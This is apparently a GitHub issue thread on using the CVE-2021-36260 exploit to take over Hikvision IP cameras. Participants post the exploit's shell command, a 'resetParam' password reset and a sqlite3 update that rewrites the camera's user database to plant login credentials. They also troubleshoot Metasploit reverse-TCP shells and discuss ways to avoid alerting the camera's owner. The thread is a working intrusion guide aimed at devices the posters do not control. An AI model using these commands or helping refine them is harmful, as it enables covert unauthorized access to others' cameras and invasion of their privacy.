I can't view the HIKVISION cam via cve_2021_36260 #9
|
As described in title, how can solve it? |
Replies: 49 comments 3 replies
|
I know a not so good way: Firstly, login in the device by: python3 scan/lib/CVE-2021-36260.py --rhost YOUR_IP --shellAfter you login in, execute the following command： resetParamAfter a few seconds, the password will reset, and you will be asked to set your password when logging in through your browser. The disadvantages of this approach are: it cannot be batched; There is no 'resetParam' command on some versions of the device |
|
If anyone knows how to deal this, I hope they can give us some advice and maybe even integrate batch code into the project. Our team can't thank you enough. |
But if I do this, the owner of the cam will understand what happened as he can't log in his web one day(doge). It will be awesome if there is an anonymous way to do it. |
|
If we can read the username and password via shell, or disable the web authorization, it will be a great job. |
|
|
I know the author who report this bug can "Disable web authentication and login to target camera admin web pages with any password", but there is no more detail about how to reproduction it. |
I am not sure whether the /etc/passwd is the same pwd with the web auth. If it is, maybe we can create a new account or just use the encrypted pwd to login?(maybe the encryption method is different so that it is not useful) |
Nice work. I will try to consult the author by email |
Waiting for your good news. |
The --shell command does not work. ssh error. Help solve the problem. |
I'm sorry, I'm not sure if it's the device or the code. Since CVE-2021-36260.py is directly from here, we haven't changed it. |
|
there is sqlite db which is accessible from shell at /devinfo/ipc_db use metasploit with reverse tcp handler if target is behind nat on remote network example here: https://www.youtube.com/watch?v=3NzdQxqZJqc idx=2 is empty idx=1 user=admin passwd=admin12345 after adding from www new user type operator and all possible rights user=default passwd=admin12345 im not db guru but maybe adding same into another db where admin is not known will work, need to test eg: sqlite3 ipc_db "update sec_user_mana_info set username=':9e:57:c9:c9:d5:2b:5f:b6:d3:c4:71:bf:be:16:89:5a',passwd=':eb:38:9b:a5:db:60:fc:35:37:48:df:86:85:16:6a:9b',ipv4_addr=0,ipv6_addr='0:0:0:0:',mac_addr='000000000000000000',permission=39575552,priority=0,user_level=1,user_num=0,preview_permision=1,playback_permision=1,record_permision=1,ptzctrl_permision=0 where idx=2;" quick test: trying add from cmdline: perhaps there are simpler methods without adding new user but simply decode admin password saved in db |
|
it seems afterr updating idx=2 as side effect idx=1 disappears maybe someone better will fix it |
Maybe we can read its source code to get its encrypt method so that we can decode it easier. |
from msfwconsole started shell it seems after starting shell its somehow outside of the box, behavior is dirrefent than from msfwconsole itself ps from msfw shows database_process net_process are already deleted as we can see at end of starting script why not create tgz of working filesystem and download will be easier than using binwalk done |
My PC and target cam both are in our campus Lan. |
I don't have public ip address. |
|
your ip and cam ip are in same subnet ? |
No |
|
if cam cant contact with you at ip you set in LHOST and port 4444 it will not work, imagine you wait for important call but you didnt inform caller what is your phone number or you turned phone off |
But why can I use POC on https://github.com/Aiminsun/CVE-2021-36260 to get the target shell? |
|
most probably because you call to camera which is reachable at its ip and port you told her to open for you |
It seems that I forget to open my port 4444😂Must I open it manually? |
|
[] Started reverse TCP handler on Yo.ur.ip:4444 |
Mine is the same with you. |
|
if poc is working metasploit has to work too, there is no other option. try again but this time skip "set target 1" part (or if you did not use it before now its good moment to try) this simply set from which way connection is initiated. without target=1 you initiate connection and trying to connect to cam, with target set to 1 you inform cam that cam has to call to you after payload is finished sending because you cannot reach her (or it whatever...) I am really trying to help but it looks like conversation of deaf with blind. You say "it did not work for me" and I am trying to figure out why but I am shooting in darkness with hope I will hit reason. |
Thank you for your generous help. |
|
tell me in which word I said anything about 0 ? world is not just binary. I told you to SKIP that step. |
Well, I just do what the same as the video do, …… |
|
a little update: uploaded modified ipc_db, reboot, logged in as admin and voila: questions? :) |
|
Through grep, I find the encryption algorithm is in /dav/process/davinci file. |
someone explain. if you have access to the file system of the camera, how can you download the file ipc_db to the local computer if the camera is not in the local network? and then pour it back into the camera? |
|
metasploit,down+upload |
a little update:
took a cam with cve-2021-36260 and weak known pwd, added 4 dummy users 111111 2222 3333 44444 (length is not important atm)
downloaded ipc_db, opened in sqlitebrowser, replaced entries for 222 333 444 as shown below:
uploaded modified ipc_db, reboot, logged in as admin and voila:
questions? :)